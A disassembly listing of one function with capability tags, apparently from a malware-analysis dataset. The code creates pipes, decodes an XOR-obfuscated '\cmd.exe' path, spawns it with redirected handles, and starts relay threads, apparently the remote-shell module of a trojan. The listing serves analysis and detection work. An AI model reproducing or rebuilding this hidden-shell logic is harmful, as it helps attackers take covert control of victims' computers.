Function at 0x10049350
Capabilities:
Create thread
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10089d38
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x29c
push esi
mov esi, ecx
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x10], esi
mov dword [esi], vtable.CManager.0
test edi, edi
je 0x10049388
mov dword [esi + 8], edi
mov dword [edi + 0x68], esi
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 4], eax
push 0x44
lea eax, [ebp - 0xa0]
mov dword [ebp - 4], 0
push 0
push eax
mov dword [esi], vtable.CShellManager.0
call fcn.10067060
push 0x208
lea eax, [ebp - 0x2a8]
xorps xmm0, xmm0
push 0
push eax
movups xmmword [ebp - 0x5c], xmm0
call fcn.10067060
mov eax, dword [ebp + 0xc]
lea ecx, [esi + 0x1c]
add esp, 0x18
mov dword [esi + 0xc], eax
lea eax, [esi + 0x14]
mov dword [esi + 0x34], 0
lea edx, [esi + 0x10]
mov dword [eax], 0
mov dword [ebp - 0x30], eax
lea edi, [ebp - 0x44]
push 0
push edi
lea eax, [esi + 0x18]
mov dword [esi + 0x30], 0
push ecx
mov dword [edx], 0
mov dword [ebp - 0x34], eax
mov dword [eax], 0
mov dword [ecx], 0
mov eax, dword [0x100b131c]
push edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x44], 0xc
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 1
call eax
mov edi, dword [ebp + 8]
test eax, eax
jne 0x10049479
mov eax, dword [esi + 0x10]
test eax, eax
je 0x10049450
push eax
call dword [0x100b1314]
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x1004945e
push eax
call dword [0x100b1314]
mov ecx, edi
call fcn.10046160
pop edi
mov eax, esi
pop esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 8
mov eax, dword [0x100b131c]
lea ecx, [ebp - 0x44]
push 0
push ecx
lea ecx, [esi + 0x14]
push ecx
lea ecx, [esi + 0x18]
push ecx
call eax
test eax, eax
jne 0x100494a5
mov eax, dword [esi + 0x18]
test eax, eax
je 0x100494a0
push eax
call dword [0x100b1314]
mov eax, dword [esi + 0x14]
jmp 0x10049453
push 0x44
lea eax, [ebp - 0xa0]
push 0
push eax
call fcn.10067060
add esp, 0xc
lea eax, [ebp - 0xa0]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
xor eax, eax
mov dword [ebp - 0xa0], 0x44
mov word [ebp - 0x70], ax
mov eax, dword [esi + 0x18]
mov dword [ebp - 0x68], eax
mov eax, dword [esi + 0x1c]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x2a8]
push 0x104
push eax
mov dword [ebp - 0x74], 0x101
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov eax, 0x60
mov edx, 0x3c
mov dword [ebp - 0x28], eax
xor dx, word [ebp - 0x28]
mov word [ebp - 0x24], ax
lea esi, [eax - 0x5d]
mov word [ebp - 0x22], dx
lea edi, [eax - 0x53]
mov edx, 4
lea eax, [esi + 2]
lea ecx, [esi + 0x15]
xor si, 0x60
mov word [ebp - 0x20], si
mov esi, 0x60
xor dx, si
xor cx, si
mov word [ebp - 0x1c], dx
xor di, si
mov edx, 0x4e
mov word [ebp - 0x1e], di
xor dx, si
mov word [ebp - 0x16], cx
mov word [ebp - 0x1a], dx
mov edx, eax
xor ax, si
xor dx, si
mov word [ebp - 0x14], ax
xor eax, eax
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x22]
push eax
lea eax, [ebp - 0x2a8]
mov word [ebp - 0x18], dx
push 0x104
push eax
call fcn.10073ec0
add esp, 0xc
mov eax, dword [0x100b1300]
lea ecx, [ebp - 0x5c]
push ecx
lea ecx, [ebp - 0xa0]
push ecx
push 0
push 0
push 0x20
push 1
push 0
push 0
push 0
lea ecx, [ebp - 0x2a8]
push ecx
call eax
test eax, eax
jne 0x100495f7
mov eax, dword [ebp - 0x2c]
push dword [eax]
call dword [0x100b1314]
mov eax, dword [ebp - 0x30]
push dword [eax]
call dword [0x100b1314]
mov eax, dword [ebp - 0x34]
push dword [eax]
call dword [0x100b1314]
mov eax, dword [ebp - 0x38]
push dword [eax]
call dword [0x100b1314]
mov ecx, dword [ebp + 8]
call fcn.10046160
mov eax, dword [ebp - 0x10]
pop edi
pop esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 8
mov edi, dword [ebp - 0x10]
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp + 8]
push 8
mov dword [edi + 0x20], eax
mov eax, dword [ebp - 0x58]
mov dword [edi + 0x24], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp - 0x4c], 2
call fcn.100462f0
push 0xffffffffffffffff
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push edi
push 0x10049810
push 0
push 0
call esi
push 0
push 0
push edi
push 0x10049910
push 0
push 0
mov dword [edi + 0x28], eax
call esi
mov ecx, dword [ebp - 0xc]
mov dword [edi + 0x2c], eax
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 8